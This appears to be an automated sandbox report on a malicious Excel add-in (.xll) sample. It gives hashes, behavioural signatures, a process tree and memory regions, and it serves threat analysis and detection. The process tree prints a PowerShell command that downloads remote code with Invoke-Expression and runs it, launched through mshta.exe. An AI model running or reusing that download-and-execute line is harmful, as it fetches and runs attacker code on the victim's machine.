Analysis
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max time kernel
101s -
max time network
124s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
22-05-2024 18:51
Static task
static1
Behavioral task
behavioral1
Sample
8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xll
Resource
win10v2004-20240426-en
Behavioral task
behavioral2
Sample
8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xll
Resource
win11-20240508-en
General
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Target
8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xll
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Size
12KB
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MD5
49b910e7e7dd43416bbd14fa753dc2fc
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SHA1
3ebb75efd0a40c8400ef75408be2f1316c8eee37
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SHA256
8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de
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SHA512
a445c3ae5c1827d858f6328d11c8ea8b2b34a7580c2dce383aff4addd0405e9b9a691bf2f0336cb982f895cf2d7d74b0562ab6411f9d30f91472ee3126d8e4e6
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SSDEEP
192:qL29RBzDzeobchBj8JON+ON/rucrEPEjr7Ahd:U29jnbcvYJOTxucvr7Cd
Malware Config
Extracted
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 2312 1176 mshta.exe EXCEL.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 16 2696 powershell.exe -
Loads dropped DLL 2 IoCs
Processes:
EXCEL.EXEpid process 1176 EXCEL.EXE 1176 EXCEL.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
EXCEL.EXEpid process 1176 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2696 powershell.exe 2696 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2696 powershell.exe -
Suspicious use of SetWindowsHookEx 10 IoCs
Processes:
EXCEL.EXEpid process 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE 1176 EXCEL.EXE -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
EXCEL.EXEmshta.exedescription pid process target process PID 1176 wrote to memory of 2312 1176 EXCEL.EXE mshta.exe PID 1176 wrote to memory of 2312 1176 EXCEL.EXE mshta.exe PID 1176 wrote to memory of 2312 1176 EXCEL.EXE mshta.exe PID 2312 wrote to memory of 2696 2312 mshta.exe powershell.exe PID 2312 wrote to memory of 2696 2312 mshta.exe powershell.exe PID 2312 wrote to memory of 2696 2312 mshta.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xll"1⤵
- Loads dropped DLL
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\users\public\example.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5} mshta2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (irm -Uri 'iapartmentlistings.com/tykhwuxk')3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\IE\RR1DMZ2N\d[1].htmFilesize
2KB
MD5f754844cfb65838d1dd6b19dde5d835c
SHA1b3eb677783adc88c8d048898449e04d49f416db6
SHA2563644b387519f3509a1ce3d2201e2e1e8af36217138cc6f9e62d6e37c887097a6
SHA512f42f89562b5c0be86dbd04683ee6c30711155acd1239e273da726c2bfedf5d0806c479b7107792c136bff6e97efb8d9145df0c176f499f86f1b7e304a2e3ccdf
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C:\Users\Admin\AppData\Local\Temp\8f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de.xllFilesize
12KB
MD549b910e7e7dd43416bbd14fa753dc2fc
SHA13ebb75efd0a40c8400ef75408be2f1316c8eee37
SHA2568f11b912d699cda82e12ca5820c83d10bf8ae6a36ff66b655e69904a4e1340de
SHA512a445c3ae5c1827d858f6328d11c8ea8b2b34a7580c2dce383aff4addd0405e9b9a691bf2f0336cb982f895cf2d7d74b0562ab6411f9d30f91472ee3126d8e4e6
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_k25mjbfh.54w.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/1176-14-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-85-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-5-0x00007FFD3CFC3000-0x00007FFD3CFC4000-memory.dmpFilesize
4KB
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memory/1176-7-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-6-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-8-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-9-0x00007FFCFA800000-0x00007FFCFA810000-memory.dmpFilesize
64KB
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memory/1176-10-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-13-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-11-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-15-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-16-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-17-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-18-0x00007FFCFA800000-0x00007FFCFA810000-memory.dmpFilesize
64KB
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memory/1176-21-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-20-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-19-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-1-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-12-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-4-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-87-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/1176-3-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-86-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-84-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-83-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-0-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-2-0x00007FFCFCFB0000-0x00007FFCFCFC0000-memory.dmpFilesize
64KB
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memory/1176-67-0x00007FFD3CF20000-0x00007FFD3D129000-memory.dmpFilesize
2.0MB
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memory/2696-57-0x00000000067C0000-0x00000000067DE000-memory.dmpFilesize
120KB
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memory/2696-58-0x0000000006810000-0x000000000685C000-memory.dmpFilesize
304KB
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memory/2696-59-0x0000000007E00000-0x000000000847A000-memory.dmpFilesize
6.5MB
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memory/2696-60-0x0000000006D00000-0x0000000006D1A000-memory.dmpFilesize
104KB
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memory/2696-56-0x0000000006410000-0x0000000006767000-memory.dmpFilesize
3.3MB
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memory/2696-46-0x0000000005A00000-0x0000000005A66000-memory.dmpFilesize
408KB
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memory/2696-45-0x0000000005960000-0x0000000005982000-memory.dmpFilesize
136KB
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memory/2696-44-0x0000000005A90000-0x00000000060BA000-memory.dmpFilesize
6.2MB
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memory/2696-43-0x0000000003310000-0x0000000003346000-memory.dmpFilesize
216KB
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memory/2696-47-0x0000000006130000-0x0000000006196000-memory.dmpFilesize
408KB